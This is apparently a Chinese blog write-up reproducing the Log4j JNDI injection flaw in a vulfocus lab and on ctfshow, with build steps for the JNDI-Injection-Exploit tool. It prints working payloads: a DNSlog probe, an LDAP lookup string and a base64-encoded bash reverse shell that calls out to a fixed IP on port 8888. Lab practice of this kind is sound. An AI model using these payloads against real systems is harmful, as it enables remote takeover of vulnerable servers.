漏洞原理就不解释了,网上有很多透彻的详细简绍,这个漏洞提供了一个工具可以实现一把索。JNDI-Injection-Exploit,这个工具可以实现 http 和 ladp 的监听,参考 跟着安装就行了,这里教的是下载的原件,自己编译,之前找了个编译好的,但监听出了点问题所有就重新跟着博主自己来编译,首先执行
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
获得文件的git项目,然后
cd /JNDI-Injection-Exploit
这里还要用一个工具对java文件进行编译。maven,首先去官网下载gz.tar压缩文件,然后移到阿里云服务器
进行解压,配置阿里云镜像和路径,安装好maven后执行回到 JNDI-Injection-Exploit 目录执行
mvn clean package -DskipTests
成功后应该是这样子
然后工具就下好了,进入target目录执行命令。
2漏洞环境搭建
本地搭建vulfocus漏洞靶场,同样照着网上教程来,网上有公用vulfocus靶场但刚好这个漏洞的环境有问题😂😂。没办法只有自己本地搭建了,进入虚拟机,先拉取vulfocus/vulfocus 镜像文件,然后run一个容器,具体命令网上多的是。然后访问映射的80端口,
我已经在镜像管理下载过漏洞镜像了,下载漏洞镜像的方法也很多,1可以虚拟机拉取,2可以直接搜索会显示
3可以点击一键同步,会同步所有漏洞镜像,只需手动下载即可(不推荐,同步得太慢了)
运行漏洞环境进入是这样一个页面,在payload传参出进行漏洞利用。
3漏洞复现
首先先构造进行漏洞验证
${jndi:ldap://zkbaix.dnslog.cn}
然后因为是get传参,先进行url编码
然后传参
可以看到dnslog有请求
这就说明是存在漏洞的。那么先构造个反弹shell,利用网站
然后整个命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAwLjM3LjE2MS84ODg4IDA+JjE}|{base64,-d}|{bash,-i}" -A "101.200.37.161"
执行后开始监听
另起一个终端监听,就是要拿shell的攻击机
把命令url编码后进行传参
${jndi:ldap://101.200.37.161:1389/a8ifpz}
过后http监听和ladp监听得到回显
但另一边的nc监听没拿到shell,emmm,有点怪。后面隔了几天又在 ctfshow 发现也有 log4j 漏洞复现
启动环境,试了 dns 没成功,管他的直接上最终payload,在云服务器启动工具进行监听,另起一个终端监听 8888 端口。然后payload传入
发现这次成功反弹了shell,说明之前我的构造是没问题的,至于为啥自己靶场反弹失败我也不知道。
文章评论